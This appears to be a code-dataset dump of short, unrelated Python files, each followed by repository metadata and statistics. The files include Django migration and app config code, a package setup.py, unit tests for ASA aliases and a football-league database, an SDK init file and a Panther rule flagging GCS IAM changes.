('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), 'sticky': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'subject': ('django.db.models.fields.CharField', [], {'max_length': '150'}), 'visible': ('django.db.models.fields.BooleanField', [], {'default': 'True'}) }, u'forum.threadwatch': { 'Meta': {'object_name': 'ThreadWatch'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'owner': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['auth.User']"}), 'thread': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['forum.Thread']"}) } } complete_apps = ['forum']
64.134228
187
0.577438
1,047
9,556
5.183381
0.112703
0.113507
0.196057
0.280081
0.775567
0.729132
0.713101
0.635526
0.602911
0.516123
0
0.005847
0.194642
9,556
149
188
64.134228
0.699324
0.022499
0
0.285714
0
0
0.523039
0.32201
0
0
0
0
0
1
0.015873
false
0.007937
0.031746
0
0.071429
0
0
0
0
null
0
1
1
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
4405a79d954577bfa23400105e905dac6a7ef07b
95
py
Python
fastrunner/apps.py
huanjoyous/FasterRunner20190716
1702c7afd9548769bc1e7ed4fc04e0321659a89b
[ "MIT" ]
227
2020-12-25T12:26:27.000Z
2022-03-31T16:00:45.000Z
fastrunner/apps.py
huanjoyous/FasterRunner20190716
1702c7afd9548769bc1e7ed4fc04e0321659a89b
[ "MIT" ]
31
2018-10-19T07:53:37.000Z
2019-01-16T07:44:16.000Z
fastrunner/apps.py
huanjoyous/FasterRunner20190716
1702c7afd9548769bc1e7ed4fc04e0321659a89b
[ "MIT" ]
38
2019-08-09T07:39:13.000Z
2022-01-12T07:56:10.000Z
from django.apps import AppConfig class FastrunnerConfig(AppConfig): name = 'fastrunner'
15.833333
34
0.768421
10
95
7.3
0.9
0
0
0
0
0
0
0
0
0
0
0
0.157895
95
5
35
19
0.9125
0
0
0
0
0
0.105263
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
440ea075582c97ab268766725df362ec4502f74b
2,031
py
Python
setup.py
olgabot/bamnostic
e690e50de5cfc59569e36b100d1538c47ba009d5
[ "BSD-3-Clause" ]
null
null
null
setup.py
olgabot/bamnostic
e690e50de5cfc59569e36b100d1538c47ba009d5
[ "BSD-3-Clause" ]
null
null
null
setup.py
olgabot/bamnostic
e690e50de5cfc59569e36b100d1538c47ba009d5
[ "BSD-3-Clause" ]
null
null
null
from setuptools import setup import os def readme(): with open(os.path.dirname(__file__) + '/README.rst') as rst: return rst.read() setup( name='bamnostic', version='0.9.0', description='Pure Python, OS-agnostic Binary Alignment Map (BAM) random access and parsing tool', long_description=readme(), url='https://github.com/betteridiot/bamnostic/', author='Marcus D. Sherman', author_email='mdsherm@umich.edu', license='BSD 3-Clause', install_requires=['pytest'], packages=['bamnostic', 'tests'], package_dir={'bamnostic': './bamnostic', 'tests': './tests'}, package_data={'bamnostic': ['data/*', 'LICENSE', 'CONTRIBUTING.md', 'CODE_OF_CONDUCT.md']}, classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Science/Research', 'Intended Audience :: Information Technology', 'License :: OSI Approved :: BSD License', 'Natural Language :: English', 'Operating System :: Unix', 'Operating System :: Microsoft :: Windows', 'Operating System :: MacOS', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.0', 'Programming Language :: Python :: 3.1', 'Programming Language :: Python :: 3.2', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: Implementation :: CPython', 'Programming Language :: Python :: Implementation :: PyPy', 'Topic :: Scientific/Engineering', 'Topic :: Scientific/Engineering :: Information Analysis' ], keywords='BAM pysam genomics genetics struct', include_package_data=True, zip_safe=False )
38.320755
101
0.617922
206
2,031
6.024272
0.553398
0.183723
0.241741
0.188558
0.043513
0
0
0
0
0
0
0.015385
0.231905
2,031
52
102
39.057692
0.780128
0
0
0
0
0
0.60906
0.021664
0
0
0
0
0
1
0.020833
true
0
0.041667
0
0.083333
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
4411db32d23c4fec4c866205fb25ea8b5203c049
59
py
Python
tests/conf.py
rgil90/celery-dashboard
e119486973536f2ba0dd713c3931f9bedda47e40
[ "MIT" ]
47
2018-04-26T13:54:39.000Z
2021-12-30T14:58:08.000Z
tests/conf.py
rgil90/celery-dashboard
e119486973536f2ba0dd713c3931f9bedda47e40
[ "MIT" ]
1
2019-12-24T08:55:19.000Z
2019-12-24T08:55:19.000Z
tests/conf.py
rgil90/celery-dashboard
e119486973536f2ba0dd713c3931f9bedda47e40
[ "MIT" ]
6
2019-07-03T19:46:59.000Z
2020-11-11T09:50:10.000Z
PG_URI = "postgresql://docker:docker@localhost:5432/docker"
59
59
0.79661
8
59
5.75
0.75
0
0
0
0
0
0
0
0
0
0
0.070175
0.033898
59
1
59
59
0.736842
0
0
0
0
0
0.8
0.8
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
442cbcbe59ccbd32c8745d9f82db322015ff8a0f
101
py
Python
py/util.py
dman776/micboard
166987dfad529dc35654f402fdbbde7f16b60f77
[ "MIT" ]
44
2019-08-30T02:51:59.000Z
2022-03-15T13:47:18.000Z
py/util.py
dman776/micboard
166987dfad529dc35654f402fdbbde7f16b60f77
[ "MIT" ]
21
2019-09-01T16:17:22.000Z
2022-02-01T15:47:55.000Z
py/util.py
dman776/micboard
166987dfad529dc35654f402fdbbde7f16b60f77
[ "MIT" ]
16
2019-09-01T01:40:09.000Z
2022-03-15T17:12:28.000Z
def TVLookup(frequency): frequency = float(frequency) return int((frequency - 470) / 6 + 14)
25.25
42
0.663366
12
101
5.583333
0.75
0
0
0
0
0
0
0
0
0
0
0.075
0.207921
101
3
43
33.666667
0.7625
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
4
4445cbe753de7e194bc9846ee11dc5597cc397a1
101
py
Python
GUI.py
singularitai/Morphling
e7a3af969123c0d3c0f3c6f1036a97e9be0b289c
[ "MIT", "Condor-1.1", "Unlicense" ]
9
2021-03-22T09:18:58.000Z
2022-03-02T01:42:11.000Z
GUI.py
singularitai/Morphling
e7a3af969123c0d3c0f3c6f1036a97e9be0b289c
[ "MIT", "Condor-1.1", "Unlicense" ]
null
null
null
GUI.py
singularitai/Morphling
e7a3af969123c0d3c0f3c6f1036a97e9be0b289c
[ "MIT", "Condor-1.1", "Unlicense" ]
2
2022-03-29T07:59:12.000Z
2022-03-31T09:10:47.000Z
from PyQt5 import uic with open('interface_new.py', 'w') as fout: uic.compileUi('Mock.ui', fout)
25.25
43
0.693069
17
101
4.058824
0.882353
0
0
0
0
0
0
0
0
0
0
0.011628
0.148515
101
4
44
25.25
0.790698
0
0
0
0
0
0.235294
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
4468dce5e448629b053f6708020b17764cbd02c7
70
py
Python
app/display_modules/virulence_factors/tests/__init__.py
MetaGenScope/metagenscope-server
609cd57c626c857c8efde8237a1f22f4d1e6065d
[ "MIT" ]
null
null
null
app/display_modules/virulence_factors/tests/__init__.py
MetaGenScope/metagenscope-server
609cd57c626c857c8efde8237a1f22f4d1e6065d
[ "MIT" ]
null
null
null
app/display_modules/virulence_factors/tests/__init__.py
MetaGenScope/metagenscope-server
609cd57c626c857c8efde8237a1f22f4d1e6065d
[ "MIT" ]
null
null
null
"""Test suite for Methyls display module models and API endpoints."""
35
69
0.757143
10
70
5.3
1
0
0
0
0
0
0
0
0
0
0
0
0.142857
70
1
70
70
0.883333
0.9
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
447befabad0cc7305f30e62b5fc3d25b166e7cce
148
py
Python
test/layers_understand.py
deepakkumar1984/ml-api
8d09e9ef99c39838cd2f2db1e70226b8d6cbc77e
[ "MIT" ]
60
2017-08-17T11:24:16.000Z
2019-02-13T02:09:24.000Z
test/layers_understand.py
deepakkumar1984/ml-api
8d09e9ef99c39838cd2f2db1e70226b8d6cbc77e
[ "MIT" ]
null
null
null
test/layers_understand.py
deepakkumar1984/ml-api
8d09e9ef99c39838cd2f2db1e70226b8d6cbc77e
[ "MIT" ]
35
2017-09-27T03:02:23.000Z
2019-04-25T20:50:43.000Z
from text import nltkmgr from nltk.corpus import state_union from nltk.tokenize import PunktSentenceTokenizer r = nltkmgr.synset("ready") print(r)
21.142857
48
0.817568
21
148
5.714286
0.666667
0.133333
0
0
0
0
0
0
0
0
0
0
0.114865
148
6
49
24.666667
0.916031
0
0
0
0
0
0.033784
0
0
0
0
0
0
1
0
false
0
0.6
0
0.6
0.2
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
449137d04e871d0fec7456428e38afda5fba19f2
66
py
Python
disbi/templatetags/__init__.py
DISBi/django-disbi
b63d9cb87daa3396d7bbca20268e89bf91cb0395
[ "MIT" ]
3
2016-10-29T16:26:00.000Z
2018-07-22T23:34:50.000Z
disbi/templatetags/__init__.py
DISBi/django-disbi
b63d9cb87daa3396d7bbca20268e89bf91cb0395
[ "MIT" ]
null
null
null
disbi/templatetags/__init__.py
DISBi/django-disbi
b63d9cb87daa3396d7bbca20268e89bf91cb0395
[ "MIT" ]
null
null
null
""" Custom template tags and filters used in DISBi templates. """
16.5
57
0.727273
9
66
5.333333
1
0
0
0
0
0
0
0
0
0
0
0
0.166667
66
3
58
22
0.872727
0.863636
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
923598806665b7ec9389e33f44fccb8007ef3a47
485
py
Python
babylon_server/babylon/api_models/chase_activity.py
ajponte/babylon
e743f5b3bb5b2eb864247414c4f51962eea9108e
[ "MIT" ]
null
null
null
babylon_server/babylon/api_models/chase_activity.py
ajponte/babylon
e743f5b3bb5b2eb864247414c4f51962eea9108e
[ "MIT" ]
2
2021-11-08T18:09:22.000Z
2021-11-09T19:22:33.000Z
babylon_server/babylon/api_models/chase_activity.py
ajponte/babylon
e743f5b3bb5b2eb864247414c4f51962eea9108e
[ "MIT" ]
null
null
null
""" API model for Chase Activity. """ from marshmallow import Schema, fields class ChaseActivity(Schema): activityId = fields.Integer(required=True) details = fields.String(required=True) # Dates/decimals are strings for now for easy serialization. postingDate = fields.String(required=True) description = fields.String(required=True) amount = fields.String(required=True) trxType = fields.String(required=True) balance = fields.String(required=True)
30.3125
64
0.738144
57
485
6.280702
0.526316
0.234637
0.335196
0.402235
0
0
0
0
0
0
0
0
0.160825
485
15
65
32.333333
0.879607
0.183505
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.111111
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
4
924904728d8c6e0b5769326a1a5509fbbd0d5ecc
177
py
Python
src/settings.py
devsetgo/testapi-tortoise-orm
2df800f788da439526817a65e5ec95063543be61
[ "MIT" ]
null
null
null
src/settings.py
devsetgo/testapi-tortoise-orm
2df800f788da439526817a65e5ec95063543be61
[ "MIT" ]
null
null
null
src/settings.py
devsetgo/testapi-tortoise-orm
2df800f788da439526817a65e5ec95063543be61
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import os from dotenv import load_dotenv load_dotenv() LOGURU_RETENTION = os.getenv("LOGURU_RETENTION") LOGURU_ROTATION = os.getenv("LOGURU_ROTATION")
19.666667
48
0.757062
24
177
5.333333
0.5
0.15625
0.21875
0
0
0
0
0
0
0
0
0.006369
0.112994
177
8
49
22.125
0.808917
0.118644
0
0
0
0
0.201299
0
0
0
0
0
0
1
0
false
0
0.4
0
0.4
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
4
9265cd6e177da2c70272f1b307dd1846c728fe71
252
py
Python
bilgecode/apps/passage_planner/admin.py
BilgeCode/bilgecode.com
cbec5f60841d479d0b3b170936d0eb8aec2541da
[ "MIT" ]
null
null
null
bilgecode/apps/passage_planner/admin.py
BilgeCode/bilgecode.com
cbec5f60841d479d0b3b170936d0eb8aec2541da
[ "MIT" ]
null
null
null
bilgecode/apps/passage_planner/admin.py
BilgeCode/bilgecode.com
cbec5f60841d479d0b3b170936d0eb8aec2541da
[ "MIT" ]
null
null
null
from django.contrib import admin from models import Passage class PassageAdmin(admin.ModelAdmin): list_display = ('hash_key', 'user', 'date_created') search_fields = ('user__email', 'user__username') admin.site.register(Passage, PassageAdmin)
31.5
55
0.765873
31
252
5.967742
0.741935
0
0
0
0
0
0
0
0
0
0
0
0.119048
252
8
56
31.5
0.833333
0
0
0
0
0
0.193676
0
0
0
0
0
0
1
0
false
0.5
0.333333
0
0.833333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
1
0
0
4
92ac7cd82e0215d42f19984e0413cd0bf6fb0c4a
199
py
Python
python/tests/test_drivers.py
forsyde/forsyde-io
d93b2b1839d30590371acfc588d081c0f8cacfc6
[ "MIT" ]
null
null
null
python/tests/test_drivers.py
forsyde/forsyde-io
d93b2b1839d30590371acfc588d081c0f8cacfc6
[ "MIT" ]
2
2021-03-30T22:57:28.000Z
2021-05-31T15:25:25.000Z
python/tests/test_drivers.py
forsyde/forsyde-io
d93b2b1839d30590371acfc588d081c0f8cacfc6
[ "MIT" ]
null
null
null
import forsyde.io.python.api as forsyde_api def read_and_write(): model = forsyde_api.load_model('../examples/sobel2mpsoc.forxml') forsyde_api.write_model(model, "sobel2mpsoc_vis.graphml")
28.428571
68
0.773869
28
199
5.214286
0.607143
0.205479
0
0
0
0
0
0
0
0
0
0.011236
0.105528
199
6
69
33.166667
0.808989
0
0
0
0
0
0.266332
0.266332
0
0
0
0
0
1
0.25
false
0
0.25
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
4
92b92b2fcd90e84bf777e816a59d5a6c4931978d
72
py
Python
mayan/apps/dynamic_search/__init__.py
CMU-313/fall-2021-hw2-451-unavailable-for-legal-reasons
0e4e919fd2e1ded6711354a0330135283e87f8c7
[ "Apache-2.0" ]
2
2021-09-12T19:41:19.000Z
2021-09-12T19:41:20.000Z
mayan/apps/dynamic_search/__init__.py
CMU-313/fall-2021-hw2-451-unavailable-for-legal-reasons
0e4e919fd2e1ded6711354a0330135283e87f8c7
[ "Apache-2.0" ]
37
2021-09-13T01:00:12.000Z
2021-10-02T03:54:30.000Z
mayan/apps/dynamic_search/__init__.py
CMU-313/fall-2021-hw2-451-unavailable-for-legal-reasons
0e4e919fd2e1ded6711354a0330135283e87f8c7
[ "Apache-2.0" ]
1
2021-09-22T13:17:30.000Z
2021-09-22T13:17:30.000Z
default_app_config = 'mayan.apps.dynamic_search.apps.DynamicSearchApp'
36
71
0.847222
9
72
6.444444
0.888889
0
0
0
0
0
0
0
0
0
0
0
0.055556
72
1
72
72
0.852941
0
0
0
0
0
0.661972
0.661972
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
2b7e821e2797873030d204ba934dcf5298839166
720
py
Python
test/offline/Aliases_test.py
xpac1985/pyASA
a6cf470a4d1b731864a1b450e321901636c1ebdf
[ "MIT" ]
10
2017-02-05T12:15:19.000Z
2020-05-20T14:33:04.000Z
test/offline/Aliases_test.py
xpac1985/pyASA
a6cf470a4d1b731864a1b450e321901636c1ebdf
[ "MIT" ]
null
null
null
test/offline/Aliases_test.py
xpac1985/pyASA
a6cf470a4d1b731864a1b450e321901636c1ebdf
[ "MIT" ]
3
2017-04-02T13:00:28.000Z
2020-06-13T23:34:37.000Z
from pyASA.aliases import Aliases class Test_Aliases(object): def test_by_alias(self): assert Aliases.by_alias["tcp"]["whois"] == 43 assert Aliases.by_alias["udp"]["snmp"] == 161 assert Aliases.by_alias["protocol"]["eigrp"] == 88 assert Aliases.by_alias["icmp"]["echo"] == 8 assert Aliases.by_alias["icmp6"]["router-advertisement"] == 134 def test_by_number(self): assert Aliases.by_number["tcp"][22] == "ssh" assert Aliases.by_number["udp"][517] == "talk" assert Aliases.by_number["protocol"][6] == "tcp" assert Aliases.by_number["icmp"][16] == "information-reply" assert Aliases.by_number["icmp6"][138] == "router-renumbering"
40
71
0.633333
92
720
4.793478
0.423913
0.294785
0.340136
0.226757
0
0
0
0
0
0
0
0.041451
0.195833
720
17
72
42.352941
0.720207
0
0
0
0
0
0.179167
0
0
0
0
0
0.714286
1
0.142857
false
0
0.071429
0
0.285714
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
4
2b89d402bb75779a590bb72606d6e448b2ba3a4c
54
py
Python
enthought/traits/ui/qt4/html_editor.py
enthought/etsproxy
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
[ "BSD-3-Clause" ]
3
2016-12-09T06:05:18.000Z
2018-03-01T13:00:29.000Z
enthought/traits/ui/qt4/html_editor.py
enthought/etsproxy
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
[ "BSD-3-Clause" ]
1
2020-12-02T00:51:32.000Z
2020-12-02T08:48:55.000Z
enthought/traits/ui/qt4/html_editor.py
enthought/etsproxy
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
[ "BSD-3-Clause" ]
null
null
null
# proxy module from traitsui.qt4.html_editor import *
18
38
0.796296
8
54
5.25
1
0
0
0
0
0
0
0
0
0
0
0.021277
0.12963
54
2
39
27
0.87234
0.222222
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
2b8edd071366985a9770f49f5d5c7dcdc36f9989
245
py
Python
pathways/models/__init__.py
uw-it-aca/pathways
ad1d136f6e4eab6a4ccc09429d56d3d31a247b27
[ "Apache-2.0" ]
null
null
null
pathways/models/__init__.py
uw-it-aca/pathways
ad1d136f6e4eab6a4ccc09429d56d3d31a247b27
[ "Apache-2.0" ]
148
2021-07-12T20:34:57.000Z
2022-03-11T21:41:33.000Z
pathways/models/__init__.py
uw-it-aca/pathways
ad1d136f6e4eab6a4ccc09429d56d3d31a247b27
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 UW-IT, University of Washington # SPDX-License-Identifier: Apache-2.0 from .major import Major from .course import Course from .curriculum import Curriculum from .course_level import CourseLevel from .coi_range import COIRange
27.222222
48
0.816327
35
245
5.657143
0.657143
0.10101
0
0
0
0
0
0
0
0
0
0.028037
0.126531
245
8
49
30.625
0.897196
0.334694
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
4
2ba42f6cb88f6ce130b4aac9090cb703061cff1c
2,834
py
Python
SimpleTest.py
weaver20/236363_hw2
9c7f4e33fe811e00de56d3484182eb4786c40537
[ "MIT" ]
null
null
null
SimpleTest.py
weaver20/236363_hw2
9c7f4e33fe811e00de56d3484182eb4786c40537
[ "MIT" ]
null
null
null
SimpleTest.py
weaver20/236363_hw2
9c7f4e33fe811e00de56d3484182eb4786c40537
[ "MIT" ]
null
null
null
import unittest import Solution from Utility.ReturnValue import ReturnValue from Tests.abstractTest import AbstractTest from Business.Match import Match from Business.Stadium import Stadium from Business.Player import Player ''' Simple test, create one of your own make sure the tests' names start with test_ ''' class Test(AbstractTest): def test_Team(self) -> None: self.assertEqual(ReturnValue.OK, Solution.addTeam(1), "Should work") self.assertEqual(ReturnValue.OK, Solution.addTeam(2), "Should work") self.assertEqual(ReturnValue.ALREADY_EXISTS, Solution.addTeam(1), "ID 1 already exists") def test_Match(self) -> None: self.assertEqual(ReturnValue.OK, Solution.addTeam(1), "Should work") self.assertEqual(ReturnValue.OK, Solution.addTeam(2), "Should work") self.assertEqual(ReturnValue.OK, Solution.addTeam(3), "Should work") self.assertEqual(ReturnValue.OK, Solution.addTeam(4), "Should work") self.assertEqual(ReturnValue.OK, Solution.addTeam(5), "Should work") self.assertEqual(ReturnValue.OK, Solution.addMatch(Match(1, "Domestic", 1, 2)), "Should work") self.assertEqual(ReturnValue.OK, Solution.addMatch(Match(2, "Domestic", 1, 3)), "Should work") self.assertEqual(ReturnValue.OK, Solution.addMatch(Match(3, "Domestic", 1, 4)), "Should work") self.assertEqual(ReturnValue.ALREADY_EXISTS, Solution.addMatch(Match(1, "Domestic", 1, 5)), "ID 1 already exists") def test_Player(self) -> None: self.assertEqual(ReturnValue.OK, Solution.addTeam(1), "Should work") self.assertEqual(ReturnValue.OK, Solution.addPlayer(Player(1, 1, 20, 185, "Left")), "Should work") self.assertEqual(ReturnValue.OK, Solution.addPlayer(Player(2, 1, 20, 185, "Left")), "Should work") self.assertEqual(ReturnValue.OK, Solution.addPlayer(Player(3, 1, 20, 185, "Left")), "Should work") self.assertEqual(ReturnValue.ALREADY_EXISTS, Solution.addPlayer(Player(1, 1, 20, 185, "Left")), "ID 1 already exists") def test_Stadium(self) -> None: self.assertEqual(ReturnValue.OK, Solution.addTeam(1), "Should work") self.assertEqual(ReturnValue.OK, Solution.addTeam(2), "Should work") self.assertEqual(ReturnValue.OK, Solution.addMatch(Match(1, "Domestic", 1, 2)), "Should work") self.assertEqual(ReturnValue.OK, Solution.addStadium(Stadium(1, 55000, 1)), "Should work") self.assertEqual(ReturnValue.ALREADY_EXISTS, Solution.addStadium(Stadium(1, 5000, 1)), "ID 1 already exists") self.assertEqual(ReturnValue.BAD_PARAMS, Solution.addStadium(Stadium(2, 5000, 3)), "teamID 3 not exists") # *** DO NOT RUN EACH TEST MANUALLY *** if __name__ == '__main__': unittest.main(verbosity=2, exit=False)
55.568627
127
0.693366
353
2,834
5.515581
0.186969
0.177196
0.307139
0.25886
0.727273
0.718028
0.669235
0.669235
0.516179
0.454545
0
0.033603
0.17043
2,834
50
128
56.68
0.794556
0.013056
0
0.243243
0
0
0.134717
0
0
0
0
0
0.621622
1
0.108108
false
0
0.189189
0
0.324324
0
0
0
0
null
0
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
4
2bbdb25649268467e18360e645ce89ba32135c87
800
py
Python
code/python/AITextSummarization/v1/fds/sdk/AITextSummarization/__init__.py
factset/enterprise-sdk
3fd4d1360756c515c9737a0c9a992c7451d7de7e
[ "Apache-2.0" ]
6
2022-02-07T16:34:18.000Z
2022-03-30T08:04:57.000Z
code/python/AITextSummarization/v1/fds/sdk/AITextSummarization/__init__.py
factset/enterprise-sdk
3fd4d1360756c515c9737a0c9a992c7451d7de7e
[ "Apache-2.0" ]
2
2022-02-07T05:25:57.000Z
2022-03-07T14:18:04.000Z
code/python/AITextSummarization/v1/fds/sdk/AITextSummarization/__init__.py
factset/enterprise-sdk
3fd4d1360756c515c9737a0c9a992c7451d7de7e
[ "Apache-2.0" ]
null
null
null
# flake8: noqa """ AI Text Summarization AI Text Summarization # noqa: E501 The version of the OpenAPI document: 1.0.0 Generated by: https://openapi-generator.tech """ __version__ = "0.20.0" # import ApiClient from fds.sdk.AITextSummarization.api_client import ApiClient # import Configuration from fds.sdk.AITextSummarization.configuration import Configuration # import exceptions from fds.sdk.AITextSummarization.exceptions import OpenApiException from fds.sdk.AITextSummarization.exceptions import ApiAttributeError from fds.sdk.AITextSummarization.exceptions import ApiTypeError from fds.sdk.AITextSummarization.exceptions import ApiValueError from fds.sdk.AITextSummarization.exceptions import ApiKeyError from fds.sdk.AITextSummarization.exceptions import ApiException
28.571429
68
0.82
92
800
7.076087
0.380435
0.086022
0.122888
0.356375
0.414747
0.414747
0
0
0
0
0
0.015559
0.11625
800
27
69
29.62963
0.905233
0.27125
0
0
1
0
0.010791
0
0
0
0
0
0
1
0
false
0
0.888889
0
0.888889
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
2bc7a07604c0a9d593c765ba2c534078cf1acdf7
341
py
Python
gcp_audit_rules/gcp_gcs_iam_changes.py
panther-labs/panther-cli
4e5c0a21570e1a02dada990fd91e324416afac96
[ "MIT" ]
4
2019-10-17T19:33:29.000Z
2019-10-21T15:23:30.000Z
gcp_audit_rules/gcp_gcs_iam_changes.py
jacknagz/panther-analysis
fceab78ba5624136776596ee1b25fa0dc8a02a42
[ "Apache-2.0" ]
null
null
null
gcp_audit_rules/gcp_gcs_iam_changes.py
jacknagz/panther-analysis
fceab78ba5624136776596ee1b25fa0dc8a02a42
[ "Apache-2.0" ]
null
null
null
from panther_base_helpers import deep_get def rule(event): return ( deep_get(event, "resource", "type") == "gcs_bucket" and deep_get(event, "protoPayload", "methodName") == "storage.setIamPermissions" ) def dedup(event): return deep_get(event, "resource", "labels", "project_id", default="<UNKNOWN_PROJECT>")
26.230769
91
0.677419
40
341
5.55
0.65
0.126126
0.162162
0.162162
0.279279
0.279279
0
0
0
0
0
0
0.175953
341
12
92
28.416667
0.790036
0
0
0
0
0
0.322581
0.073314
0
0
0
0
0
1
0.25
false
0
0.125
0.25
0.625
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
4
2bda06aced151a2fcc1547fdbe5c3b3275f0a261
252
py
Python
detect_gesture.py
Patrick-Star125/handgesture-recognition
c3bdd46d02bdd1ec859e32a3720dc13d9a4a5108
[ "MIT" ]
null
null
null
detect_gesture.py
Patrick-Star125/handgesture-recognition
c3bdd46d02bdd1ec859e32a3720dc13d9a4a5108
[ "MIT" ]
null
null
null
detect_gesture.py
Patrick-Star125/handgesture-recognition
c3bdd46d02bdd1ec859e32a3720dc13d9a4a5108
[ "MIT" ]
null
null
null
import numpy as np class Detect_Gesture(): def __init__(self): pass def video_coordinates(self, path): pass def generate_thread(self): pass def detect(self, list): pass def get_template(): pass
13.263158
38
0.599206
31
252
4.612903
0.612903
0.195804
0.153846
0
0
0
0
0
0
0
0
0
0.321429
252
19
39
13.263158
0.836257
0
0
0.416667
1
0
0
0
0
0
0
0
0
1
0.416667
false
0.416667
0.083333
0
0.583333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
4
2bff3c77d62bd548f2c3ea7ecee2eca9f433469a
133
py
Python
src/robot_ctrl.py
fancyblock/RoboMasterS1-PyDefine
af0ebcd1a1a995c717e3d3ec6d5b0f5273c645dd
[ "MIT" ]
null
null
null
src/robot_ctrl.py
fancyblock/RoboMasterS1-PyDefine
af0ebcd1a1a995c717e3d3ec6d5b0f5273c645dd
[ "MIT" ]
null
null
null
src/robot_ctrl.py
fancyblock/RoboMasterS1-PyDefine
af0ebcd1a1a995c717e3d3ec6d5b0f5273c645dd
[ "MIT" ]
null
null
null
def set_mode(mode_enum): """设置整机的3种运动模式""" pass def get_battery_percentage() -> int: """整机剩余电量,返回0-100的整数""" pass
13.3
36
0.616541
16
133
4.875
0.8125
0
0
0
0
0
0
0
0
0
0
0.048077
0.218045
133
9
37
14.777778
0.701923
0.218045
0
0.5
0
0
0
0
0
0
0
0
0
1
0.5
false
0.5
0
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
4
92040137b895bc8e29e08d25430fc31b10917f6b
2,017
py
